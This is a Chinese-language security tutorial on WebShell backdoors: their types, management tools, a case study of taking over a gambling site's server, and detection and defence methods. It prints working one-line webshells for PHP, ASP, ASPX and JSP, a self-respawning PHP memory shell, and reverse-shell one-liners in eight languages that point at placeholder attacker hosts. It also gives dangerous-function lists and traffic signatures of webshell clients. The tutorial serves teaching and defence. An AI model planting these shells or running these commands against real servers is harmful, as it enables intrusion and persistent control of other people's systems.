米桃安全漏洞讲堂系列第4期:WebShell木马专题

一、WebShell概述

WebShell是黑客经常使用的一种恶意脚本也称为木马后门。其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户文件、访问数据库、删改web页面等,其危害不言而喻。 黑客利用常见的漏洞,如文件上传、SQL注入、远程文件包含,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。 为了更好理解WebShell,需要先了解两个概念:

  • 什么是"木马"? "木马"全称是"特洛伊木马(TrojanHorse)",原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。 在互联网中,"木马"指一些程序设计人员在其可从网络上下载的应用程序或文件中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。
  • 什么是"后门"? 一台计算机上有65535个端口,若把计算机看作是一间屋子,65535个端口可以看做是计算机为与外界连接所开的65535 扇门。每个门的背后均承载一个服务。有的门是主人特地打开迎接客人(提供服务),有的门是主人为了出去访问客人而开设(访问远程服务)。理论上,除主人主动打开外,剩下其它门均应关闭,但因各种原因,如软件服务协议需要等,很多门均被开启。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋内的东西也被搞得一片狼迹。这扇悄然被开启的门------就是"后门"。

1.1 WebShell的特点

WebShell就是网络上的特罗伊木马,也可称为后门。黑客在对目标进行攻击时,会使用各类漏洞工具进行尝试,在攻击行为后半段,常常会使用WebShell木马对攻陷的主机进一步利用,以及后续的内网横向扩展。本文所指WebShell等同木马。 黑客之所以青睐WebShell工具,主要因为WebShell有如下三大优势:

  • 功能丰富 WebShell属于远程控制类木马。它可以做到访问目标机器文件、连接数据库、远程登录、上传下载、记录用户操作行为、账号提权、内网横向扩展等丰富功能。几乎涵盖后渗透中所有需要的功能。
  • 隐蔽性强 WebShell可以嵌套在正常网页中运行,不容易被查杀。它还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80、443端口传递,因此不会被防火墙拦截。在没有记录流量的情况下,WebShell使用post包发送,也不会被记录在系统日志中,只会在Web日志中记录一些数据提交的记录。
  • 持久化 WebShell脚本通常包含后门,黑客上传WebShell后,利用WebShell后门可实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完WebShell之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。

二、WebShell分类

编程语言 角度,常见的WebShell脚本类型包括asp、aspx、jsp、php 。若从广义的木马角度,还可包括python、perl 等脚本语言。 从木马文件大小 的角度分类,可分为大马、小马、一句话木马、内存马 。随着木马体积的增大,功能也相对更丰富。但其隐蔽性越弱,特征明显,容易被安全防护设备识别。具体总结如下。

2.1 大马

体积大、功能全,具有文件管理、数据库管理、账号权限管理的能力,如phpSpy、jspSpy等常见大马。

2.2 小马

体积小、容易被上传,一般只具备文件上传功能,通常被用于下载大马。缺点是功能单一、隐藏性差。

2.3 一句话木马

一句话木马相比大马有本质的区别,用一句简短的代码来承载payload,将动辄十几K或者更大的大马&小马变成了几个字节。一句话代码极为精炼,不像小马&大马一样将直接功能写在脚本文件中,因此几乎没有什么特征,很难被病毒引擎检测到。一句话木马的出现,将攻击门槛和攻击成本大幅拉低,这也是目前最常见的WebShell攻击手段。一句话木马需要配合蚁剑、菜刀、冰蝎等客户端使用,通过客户端发送功能函数到服务端,服务端将功能函数执行并将结果返回,从而实现服务器端的恶意操作。 经典一句话木马包括:

php 复制代码
php经典一句话木马:
    <?php @eval($_POST['a']);?> 
asp经典一句话木马:
    <%eval request("a")%>
aspx经典一句话木马:
   <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> 
jsp经典一句话木马:
	<%Runtime.getRuntime().exec(request.getParameter("i"));%>

2.4 内存马

内存马是目前检测难度最高的WebShell,是一种无文件木马,在服务器端没有文件实体,而是通过Web中间件污染系统内存,实现恶意代码驻留,再通过远程工具连接即可利用中间件执行恶意操作,比一句话木马的检测难度更高,近年来备受攻击者追捧,但也有一定缺陷,比如Web中间件重启后就会被释放掉。 目前内存马主要分为:PHP内存马、Python内存马、Java内存马 典型的内存马如PHP不死马。是通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。

php 复制代码
##PHP不死马
<?php
  set_time_limit(0);
  ignore_user_abort(1);
  unlink(__FILE__);
  while (1) {
    $content = '<?php @eval($_POST["123"]) ?>';
    file_put_contents("11.php", $content);
    usleep(10000);
}
?>

三、WebShell木马危害及利用方式

3.1 从一句话木马到控制主机

下面以一个博彩网站为案例说明,如何用木马实现对目标主机的控制。 对网站进行扫描,发现robots.txt文件中存在管理后台访问路径。使用密码爆破功能,成功爆破出网站后台管理员账号密码为admin/passw0rd。 登录后台,发现在 界面风格>编辑模板/css文件>添加模板处将aspx一句话木马添加成html文件。 利用WebShell管理工具菜刀成功连接到我们写入的一句话木马。 利用一句话木马上传一个aspx大马至目标服务器,方便进一步操作。 查看发现目标服务器为一台数据库服务器。开放1433端口,为MS SQL Server,使用xp_cmdshell执行系统命令漏洞,对数据库新增管理员角色。 之后打开目标主机3389端口,即可对目标主机实现远程登录。从而完成对服务器的控制。 上述案例从网站后台弱密码入手,使用文件上传功能,上传一句话目标,成功连接服务器。进而对主机进行渗透,最终完成对主机的完全控制。最关键的节点为通过木马,将攻击者和服务器连接起来。 完整的渗透攻防还包括前期信息搜集、木马解析、内网穿透、提权、横向扩展、权限维持、防溯源等内容,非本文重点,此处不赘述。

3.2 WebShell管理工具

常规的大马、小马、一句话木马、内存马,在木马隐蔽性和木马的功能丰富程度之间往往无法兼顾。为此,逐步发展出对WebShell木马的管理工具,能按场景生成需要的木马文件,兼顾木马免杀和功能丰富。 常用的WebShell管理工具包括,中国菜刀(Chopper)、冰蝎(Behinder)、蚁剑(AntSword)、哥斯拉(Godzilla)。通过管理工具连接上WebShell后就可以随心所欲的操作受害者主机,包括不局限于执行系统命令、探测内网、读取敏感文件、反弹shell、添加用户、清理痕迹、横向移动等操作。

3.2.1 中国菜刀(Chopper)

中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用,成名较早。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。缺点是已可被绝大部分杀毒软件精准识别。

3.2.2 冰蝎(Behinder)

"冰蝎"是一个基于Java开发的动态二进制加密通信流量的新型WebShell客户端,可跨平台使用。目前最新版本为v4.1,兼容性较之前的版本有较大提升。由于其基于流量加密的的特性,冰蝎逐渐成为了红队成员在攻防演练期间经常使用的工具。 冰蝎主要功能有:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大。 冰蝎其最大特点就是对交互流量进行对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。

3.2.3 蚁剑(AntSword)

中国蚁剑是一款开源的跨平台网站管理工具,源码建立在中国菜刀工具上。主要功能包括WebShell管理、文件管理、终端管理、数据库管理等功能。

3.2.4 哥斯拉(Godzilla)

哥斯拉是一款继冰蝎之后又一款于Java开发的加密通信流量的新型Webshell客户端。内置了多种有效载荷、加密器,支持内置插件,是目前在护网中使用较多的一款工具。

3.2.5 渗透测试框架

除了上述专门针对WebShell的管理工具,还有一类平台,专注于安全攻防全流程的渗透测试平台,也可称为远控工具。常见远程管理控制工具包括MSF、CobaltStrike、Armitage等。

  • Metasploit,开源软件 Metasploit,简称MSF,是一款开源的渗透测试框架。默认集成在Kali系统中,用户也可自行安装。所有的 Metasploit 版本都可在 Unix(包括Linux和Mac OS X)和 Windows 上运行。Github地址:github.com/rapid7/meta... 其内含软件和其他产品的安全漏洞利用代码块,可以抽取各类系统的信息,或者在设备上开启远程控制。

    msf为总模块,其他均为分支模块: 辅助模块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞; 渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块; 攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块; 后渗透攻击模块 (Post),用于内网渗透的各种操作; 编码器模块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式)。

  • Cobalt Strike,商业软件 Cobalt Strike,常被业界称为CS神器。同样是一款出色的渗透测试框架,为商业软件。它分为客户端与服务端。服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。 Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。 Team Server为团队服务器及Beacon 控制器,用于存储搜集各种数据、管理日志等。团队中的所有成员可以使用自己的Client端登录到Team Server实现协调作战。Beacon 是CobaltStrike 的 payload,常用的通信方式有HTTP、HTTPS和DNS隧道,除了DNS隧道,其他通信方式的回联端口均可自行设定。

四、WebShell木马检测及防护

上面讲述了WebShell的攻,下面讲述WebShell的防。

4.1 WebShell检测技术

WebShell的检测方式当今主流使用如下四种方式。

1)基于文件静态特征检测

技术原理:对脚本文件本身的hash值、文本内容中所使用的关键词、高危函数、文件修改时间、文件权限、文件所有者以及和其它文件的关联性等多个维度的特征进行检测,要求首先建立一个恶意字符串特征库用于比对。常见高危函数:

perl 复制代码
数据传递
$_GET、$_POST、$_COOKIE、$_SERVER  
命令执行
exec、passthru、shell_exec、system、eval
文件操作与远程 URL
file、file_get_contents、fopen、curl、fsockopen
回调函数
call_user_func、call_user_func_array、array_maparry_filter
其他高危函数
phpinfo、preg_replace、create_function、unserialize

优点 :可快速检测,快速定位,对已知WebShell查找准确率高。 缺点:容易误报,无法对加密或者经过特殊处理的WebShell文件进行检测。尤其是针对窃密型WebShell无法做到准确的检测。窃密型Webshel通常具有和正常的WEB脚本文件具有相似的特征。

2)基于流量动态特征检测

由于所要完成的功能不同,攻击者访问 WebShell 脚本所产生的流量和正常 Web 页面请求所产生的流量模式不同,基于通信流量的检测就是通过对流量进行分析发现不同寻常的流量。 基于流量的检测是基于文件检测的一个重要补充,在某些场景下获取文件并对其进行检测是困难的,并且如内存马为无文件马,无法通过文件的方式进行检测,这时基于流量的检测就成为最重要的检测方式。 技术原理 :采用流量(网关)型检测方式,先对流量"可视化",检测WebShell在访问过程中产生的payload网络流量。经过一定的payload积累和规则定制,再经过和其它检测过程相结合形成一套基于流量分析WebShell检测引擎,嵌入到现有的网关型设备或云上实现WebShell的深度分析。 优点 :可实时检测并阻止,还原攻击场景,快速定位主机和入侵者。 缺点:模型建立复杂(研发成本),无法检测加密payload。流量镜像部署成本。

进行网络流量检测,基于 WebShell 木马自身的静态特征进行识别。一些经典WebShell管理工具,如菜刀、蚁剑、冰蝎、哥斯拉等,它们所提供的 WebShell 具有一些固定的静态特征(即代码特征),成为流量类安全系统(如NDR/态势感知/WAF等)可以依赖的检测信标。总结如下:

bash 复制代码
菜刀WebShell的动态特征:
请求体中传递的payload为base64编码,并且存在固定,QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

蚁剑WebShell动态特征:
每个请求体都存在@ini_set("display_errors", "0");@set_time_limit(0)开头。并且存在base64等字符。
响应包的结果返回格式为  随机数 结果  随机数

冰蝎WebShell木马动态特征:
2.0版本中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
3.0版本在使用命令执行功能时,请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

哥斯拉WebShell动态特征:
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,

流量检测不仅对已知WebShell进行检测,还能识别出未知的、伪装性强的WebShell或组件反弹shell行为。对WebShell的访问特征(IP/UA/Cookie)、payload特征、path特征、时间特征等进行关联分析,以时间为索引,还原攻击事件。 流量检测恶意行为的方式,使用广泛,在安全产品iast交互式应用程序安全测试、rasp运行时应用自我保护技术中,均有用到。

3)基于日志分析检测

日志分析的WebShell检测,即根据确定的攻击事件来回溯已发生的攻击事件,再根据这用事件特征来防范在未来某时段内遭受到的相同攻击。其检测方式是先找到异常日志,再找到攻击日志,整个过程分两步:WebShell提取 + WebShell确认。 WebShell的提取依据以下特征:访问特征(主要特征)、path特征(辅助特征)、时间特征(辅助特征)、Payload特征(辅助特征)、行为特征 。 WebShell的确认要根据其网页特征(网页的内容/结构、视觉)来确认。提取确认WebShell的访问者特征(IP/UA/Cookie),Payload特征,时间特征,关联搜索,将搜索结果按时间排序,还原事件。

通过日志发现WebShell攻击的检测方式,在安全运营中心soc中较为常用。如常见的反弹shell命令,使用规则实时检测主机命令,可及时发现反弹shell行为,进而锁定攻击目标,进行阻断。 常见的反弹shell命令包括:

less 复制代码
0x01 bash版本
bash -i >& /dev/tcp/attackerip/1234 0>&1
0x02 nc 版本
nc -e /bin/sh attackerip 1234
0x03 Telnet 版本
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
0x04 Perl 版本
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
0x05 Python 版本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x06 php 版本
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
0x07 java 版本
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
0x08 ruby 版本
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

4)基于统计学分析检测

基于统计学的WebShell分析主要是根据WebShell脚本与正常源码的差异性来识别。根据上面对WebShell的特征分析,可以从多个方面进行基于统计学的分析技术。 (1)文件的重合指数 index of coincidence(缩写为IC),用来判断文件是否被加密的一种方法。 (2)信息熵 ,一个数学上的抽象概念,这里把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低;反之,一个系统越是混乱,信息熵就越高。信息熵也可以说是系统有序化程度的一个度量。 (3)文件中的最长单词 ,在通过base64等一些加密后的WebShell一般形成一整串字符串,为正常的源码一般都不会这样。 (4)文件的压缩比 ,压缩的实质,在于消除特定字符分布上的不均衡,通过将短码分配给高频字符,而长码对应低频字符实现长度上的优化。那么对于base64编码过的文件,消除了非ascii的字符,这样实际上base64编码过的文件的字符就会表现为更小的分布的不均衡,压缩比就会变大。 (5)特征值匹配 ,第一个是匹配特征函数和代码,第二个是指匹配特定WebShell中的特征值。 在具体实现上,典型的代表为NeoPI 。项目地址:github.com/CiscoCXSecu... 采用这种检测方法也存在明显的弱点,NeoPi的检测重心在于识别混淆代码,它常常在识别模糊代码或者混淆编排的木马方面表现良好。未经模糊处理的代码对于NeoPi的检测机制较为透明。如果代码整合于系统中的其它脚本之上,这种"正常"的文件极可能无法被NeoPi识别出来。

4.2 WebShell木马防御建议

对于WebShell木马的防御,主要思路是切断其攻击链路。发现文件上传点------上传文件并解析------出内网连接攻击端------提权------获取数据------横向扩展------权限维持------痕迹清理。是一个完整的攻击链路。 从企业防护角度,可从如下三方面入手。

1、线上运维侧(前端):

  • 操作系统、数据库、中间件等及时更新漏洞补丁,预防如xp_cmdshell等提权漏洞。
  • 生产环境域名加入WAF防护。waf可防御绝大部分网络攻击行为,如命令注入、反弹shell等。
  • 公网环境收敛风险资产。防止暴露不必要的服务,为黑客提供利用条件。
  • 流量监控。使用ids、ips等安全工具,对网络流量进行监测。发现安全风险及时预警。
  • 日志监控。对于访问日志、系统日志、操作日志等进行监测,并配置WebShell行为特征告警,如反弹shell、文件hash等特征。

2、研发侧(后端):

  • 文件上传防护 。主要针对文件上传漏洞,要对文件上传功能做相应防护。详情可参考本系列第3期内容:米桃安全漏洞讲堂系列第3期:任意文件上传漏洞 - 掘金。总结为:后端白名单检查文件扩展名、后端限制文件上传大小、文件名随机命名、隐藏上传文件目录、文件不可执行。
  • 加强研发侧流量日志监控,如Error、Warn日志。
  • 禁用危险的PHP函数,例如exec()、shell_exec()、passthru()、system()、show_source()、proc_open()、pcntl_exec()、eval()与assert()。
  • 及时对研发组件的高危漏洞安装漏洞补丁。
  • 不要相信用户输入的信息。

3、用户侧:

  • 办公电脑安装安全软件,EDR、杀毒软件。
  • 提升安全防护意识。不打开未知链接、文件。如钓鱼邮件。
  • 安装程序从官方网站进行下载,并校验文件hash值。
  • 关注系统异常情况,如资源使用率飙升、未知进程等。
  • 常见的WebShell检测平台自查。如下。

D盾防火墙(病毒检测工具) www.d99net.net

VirusTotal在线木马检测平台(集成多个国内外安全引擎) www.virustotal.com/gui/home/up...

微步在线云沙箱病毒威胁检测平台 s.threatbook.cn

河马-内存马在线查杀平台 n.shellpub.com/

五、总结展望

本文主要介绍了WebShell木马的特点、攻击方式及检测防护方法。WebShell编码简单,使用方便,而且功能丰富,是黑客钟爱的一种利用方式。尤其在历年护网行动中,WebShell木马的成功植入,是攻击方红队的得分利器。 企业在预防WebShell攻击方面需注重安全意识培训、安全开发、线上安全监测、定期审计等。而未来的趋势将聚焦于整合人工智能、零信任模型和协同防御。实现对异常行为的实时检测与响应,进一步加强对WebShell等潜在威胁的阻击能力,帮助企业构筑更为强大的网络安全体系。

往期链接

米桃安全漏洞讲堂系列第3期:任意文件上传漏洞 - 掘金
米桃安全漏洞讲堂系列第2期:XSS跨站脚本攻击漏洞 - 掘金
米桃安全漏洞讲堂系列第1期:SQL注入漏洞 - 掘金

相关推荐
夏天吃哈密瓜2 小时前
用Scala来解决成绩排名的相关问题
开发语言·后端·scala
爱编程的小生2 小时前
SpringBoot Task
java·spring boot·后端
CoderJia程序员甲2 小时前
重学SpringBoot3-异步编程完全指南
java·spring boot·后端·异步编程
岁岁岁平安2 小时前
springboot实战(19)(条件分页查询、PageHelper、MYBATIS动态SQL、mapper映射配置文件、自定义类封装分页查询数据集)
java·spring boot·后端·mybatis·动态sql·pagehelper·条件分页查询
桃园码工2 小时前
第一章:Go 语言概述 1.什么是 Go 语言? --Go 语言轻松入门
开发语言·后端·golang
萧萧玉树3 小时前
分布式在线评测系统
前端·c++·后端·负载均衡
桃园码工3 小时前
第一章:Go 语言概述 2.安装和配置 Go 开发环境 --Go 语言轻松入门
开发语言·后端·golang
hummhumm4 小时前
第 36 章 - Go语言 服务网格
java·运维·前端·后端·python·golang·java-ee
凡人的AI工具箱4 小时前
40分钟学 Go 语言高并发:Pipeline模式(一)
开发语言·后端·缓存·架构·golang
南鸳6105 小时前
Scala:根据身份证号码,输出这个人的籍贯
开发语言·后端·scala